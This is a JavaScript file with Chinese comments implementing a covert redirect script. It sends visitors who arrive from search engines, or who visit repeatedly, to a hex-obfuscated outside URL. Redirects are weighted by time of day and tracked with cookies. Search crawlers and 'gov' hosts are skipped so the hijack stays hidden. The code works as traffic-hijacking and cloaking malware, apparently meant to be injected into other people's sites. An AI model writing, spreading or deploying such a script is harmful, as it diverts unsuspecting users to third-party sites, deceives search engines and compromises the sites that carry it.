/*
 * 自己重新写跳转逻辑
 *
 * 1,时钟概率 ,根据\24小时的权重;
 * 2,来路+概率,根据reffer+math.random;
 * 3,另外模块,插入横幅;
 * 4,根据对象数据开启调试信息;
 * 5,xmlhttp模块
 * */
const tz_time = [100, 100, 100, 100, 100, 100, 100, 100, 30, 30, 30, 30, 50, 50, 50, 50, 60, 70, 80, 90, 100, 100, 100, 100];
//根据时间区分  100以内的随机数会与24个数值进行比较，控制每个时钟的概率
const tzs = [{
    "per": 100, //控制每次加载后的执行概率
    "url": "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x71\x75\x61\x6e\x36\x31\x38\x2e\x63\x6e\x2f"
}];

function mySetCookie(cname, cvalue, exdays) {
    let d = new Date();
    d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000));
    let expires = "expires=" + d.toGMTString();
    document.cookie = cname + "=" + cvalue + "; " + expires;
}

function myGetCookie(cname) {
    let name = cname + "=";
    let ca = document.cookie.split(';');
    for (let i = 0; i < ca.length; i++) {
        let c = ca[i].trim();
        if (c.indexOf(name) === 0) {
            return c.substring(name.length, c.length);
        }
    }
    return false;
}

function myCheckAllowed(num) {
    // 1.国家   不是中国返回false
    // 	if (!myIsChina()) {
    // 		return false;
    // 	}
    //没有必要为了这个判断来引入搜狐api

    // 2.跳转间隔
    let timestamp_now = Date.parse(new Date().toString());
    let until_time = myGetCookie("jump_until");
    if (until_time) {
        if (until_time < timestamp_now) {
            return false;
        }
    }

    // 3.访问次数
    if (!VisitCountCheck()) {
        return false;
    }

    // 4.概率
    let rand_tmp = Math.ceil(Math.random() * 10);
    return rand_tmp <= num;

}

function VisitCountCheck() {
    let AtLeastVisitCount = 7;
    //第二个逻辑
    let count = myGetCookie("visit_count");
    if (!count) {
        mySetCookie("visit_count", 1, 1);
    } else {
        count++;
        // 记录24小时后失效
        mySetCookie("visit_count", count, 1);
    }
    return count >= AtLeastVisitCount;

}

//定义一个判断来路的方法 用来过滤首次跳转,放在 否则 逻辑中 多次点击就跳转
function routeFilter(s) {
    //形参为来路url
    // let regexp = /\.(sogou|so|baidu|google|youdao|yahoo|bing)(\.[a-z0-9\-]+){1,2}\//ig;
    let referrerTarget = ['sogou', 'soso', 'baidu', 'google', 'bing']
    for (let i = 0; i < referrerTarget.length; i++) {
        if (s.indexOf(referrerTarget[i]) !== -1) {
            return true
        }
    }
    return false
        // return regexp.test(s);
}

// 拦截爬虫 crawlers可增加拦截对象
function detectionCrawler(n) {
    const crawlers = ['Baiduspider', 'bot'];
    for (let i = 0; i < crawlers.length; i++) {
        if (n.indexOf(crawlers[i]) !== -1) return false
    }
    return true;
}

//域名白名单主段
function whiteList(h) {
    //使用此脚本的系统
    const whiteArr = ['gov'];
    for (const whiteArrItem of whiteArr) {
        if (h.indexOf(whiteArrItem) !== -1) {
            return false;
        }
    }
    return true
}

function createJs(url) {
    if (url) {
        let head = document.head || document.getElementsByTagName('head')[0];
        let statisticsScript = document.createElement('script');
        statisticsScript.src = url;
        head.append(statisticsScript);
    }
}

//逻辑主函数
function myFunction() {
    createJs(); //不传就不插
    let time_rand = Math.floor((Math.random() * 100) + 1);
    //生成一个 1-100内的数字；
    if (time_rand > tz_time[new Date().getHours()]) {
        return;
    }
    //以当前时间点为下标 取出 定义好的 24个数组内的某个值 与随机数比较 若小于则继续 若大于则终止脚本，如果想概率大点就尽量tz_time 靠近100，反之则然

    let rand = Math.floor((Math.random() * 100) + 1); //链接对象的随机数 1-100，逻辑与24小时类似
    //cur_a，cur_z为范围，
    let cur_a = 0;
    let cur_z = 0;
    let s = document.referrer;
    let h = location.host
    let n = navigator.userAgent
        //rand 80，per 99
        //per2 60
    for (let i = 0; i < tzs.length; i++) {
        cur_z += tzs[i].per; //rand 80 z 150 a 99
        if (rand > cur_a && rand <= cur_z && detectionCrawler(n)) {
            if (document.cookie.indexOf("apt") === -1 && routeFilter(s)) {
                let exp = new Date();
                exp.setTime(exp.getTime() + 36000000);
                document.cookie = "apt=1;expires=" + exp.toGMTString();
                window.location.href = tzs[i].url;
            } else if (myCheckAllowed(5)) {
                mySetCookie("jump_until", 1, 1); // 记录8小时后失效
                mySetCookie("visit_count", 0, -1); // 重置计数
                window.location.href = tzs[i].url;
            }
            cur_a += tzs[i].per; //a 99 z 99 rand 80 增加概率
        }
    }
}

//在自身加上 判断手机端才执行逻辑
//定时启动
setTimeout(function() {
    myFunction();
}, 400);